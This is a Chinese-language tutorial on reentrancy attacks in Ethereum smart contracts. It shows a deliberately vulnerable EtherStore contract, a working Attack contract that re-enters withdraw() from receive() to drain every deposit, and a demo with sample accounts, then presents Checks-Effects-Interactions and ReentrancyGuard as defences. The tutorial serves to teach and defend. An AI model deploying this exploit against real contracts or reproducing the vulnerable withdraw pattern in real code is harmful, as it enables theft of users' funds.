普通重入攻击
重入攻击(Re-Entrancy) 一直是以太坊智能合约中最危险的漏洞之一,导致了许多大规模的资金被盗事件。比如 2016 年发生在 The DAO 项目中的 Re-Entrancy 漏洞攻击,造成价值当时 6000 万美元的以太币被盗,直接导致以太坊主网硬分叉。
那么,什么是 Re-Entrancy 漏洞?它为何如此危险,如何防范,让我们一一深入解析。
Re-Entrancy 漏洞原理
Re-Entrancy 漏洞本质上是一个状态同步问题。当智能合约调用外部函数时,执行流会转移到被调用的合约。如果调用合约未能正确同步状态,就可能在转移执行流时被再次调用,从而重复执行相同的代码逻辑。
具体来说,攻击往往分两步:
1.被攻击的合约调用了攻击合约的外部函数,并转移了执行流。
2.在攻击合约函数中,利用某些技巧再次调用被攻击合约的漏洞函数。
由于 EVM 是单线程的,重新进入漏洞函数时,合约状态并未被正确更新,就像第一次调用一样。这样攻击者就能够多次重复执行一些代码逻辑,从而实现非预期的行为。典型的攻击模式是多次重复提取资金。
Re-Entrancy漏洞合约
以一个修改过的 WETH 合约为例:
contract EtherStore {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint256 bal = balances[msg.sender];
require(bal > 0);
(bool sent,) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// 用于检查此合约的余额
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
●deposit 函数中,用户可以存入 ETH,得到的 WETH 记录在 balances 状态变量中。
●withdraw 函数中,用户可以提取 ETH,通过 call 低级调用转账给用户,此时执行流转移到用户合约。如果用户合约是一个恶意合约,它可以在默认的 receive 函数中再次回调 withdraw。由于余额未被更新,require 语句会通过检查,攻击合约就能多次重复提取 ETH。
攻击者可以部署一个恶意合约 Attack:
contract Attack {
EtherStore public etherStore;
uint256 public constant AMOUNT = 1 ether;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// receive is called when EtherStore sends Ether to this contract.
receive() external payable {
if (address(etherStore).balance >= AMOUNT) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= AMOUNT);
etherStore.deposit{value: AMOUNT}();
etherStore.withdraw();
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
●attack 函数中攻击者先转入一定数量的 ETH,调用 etherStore.deposit 函数转移到目标合约 EtherStore 中,接下来调用 etherStore.withdraw 函数提取 ETH。这看似是一个常规的操作,但问题出现在下一个函数。
●receive 是合约接收 ETH 时默认执行的函数,它由 payable 关键字修饰,表明它可以接收发送来的 ETH(也可以使用 fallback 函数来实现同样的效果)。在函数内部,当目标合约中的余额满足条件(大于 1 ETH)时,会再次调用 withdraw 函数,即发起重入,由于目标合约中用户的余额是在最后一步才进行更新,因此 require(bal > 0); 条件依旧满足,也就可以继续把目标合约中的 ETH 转移走😨😨😨
Re-Entrancy 攻击演示
1.账户 0x5B3…dC4 部署 EtherStore 合约,合约地址为 0xd91…138
2.账户 Alice(0xAb8…cb2) 和账户 Bob(0x4B2…2db) 分别往目标合约中存入 1 ETH,此时合约锁定总资产为 2 ETH。
3.攻击者Eve(0x787…baB)部署 Attack 合约,在构造函数中填入目标合约的地址执行部署,生成的合约地址为 0x99C…96d。
4.攻击者Eve(0x787…baB) 支付 1 ETH 调用 attack 函数发起重入攻击,此时目标合约 EtherStore 中的资金会被全部转移到 Attack 合约中。
Attack 合约中余额为 3 ETH,而 EtherStore 合约中余额为 0,虽然 账户 Alice(0xAb8…cb2) 的余额显示为 1 ETH,但实际的资产已经被转移走了,只是一张空头支票而已。
防御措施
最直接有效的防御手段,就是遵循 Check-Effects-Interactions(CEI) 模式:
●首先——进行所有检查。
●然后——进行更改,例如更新余额。
●最后——调用另一个合约。
CEI 模式下无论执行流如何转移,余额都已被正确扣除,重入攻击将无法重复执行逻辑,因此推荐基于该方案构建合约逻辑:首先进行所有检查,然后更新余额并进行更改,然后才调用另一个合约。
function withdraw() public {
// 1.check
uint256 bal = balances[msg.sender];
require(bal > 0);
// 2.effects
balances[msg.sender] = 0;
// 3.interactions
(bool sent,) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
}
另一种防御是使用 ReentrancyGuard,OpenZeppelin 提供了 Guards 代码:
contract ReentrancyGuard {
bool internal locked;
modifier nonReentrant() {
require(!locked, "No reentrancy");
locked = true;
_;
locked = false;
}
}
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract EtherStore is ReentrancyGuard {
function withdraw() public nonReentrant {
uint256 bal = balances[msg.sender];
require(bal > 0);
(bool sent,) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// ...
}
它的作用就是在函数执行前先加一把锁,函数结束后释放锁,在发生重入时由于重新进入了该函数,此时锁还未释放,因此重入失败。
需要注意的是,ReentrancyGuard 在防范跨函数跨合约重入等复杂情况下有一定局限性,另外由于引入了额外的逻辑,gas 费也会有所增加,所以 Check-Effects-Interactions 依然是根本。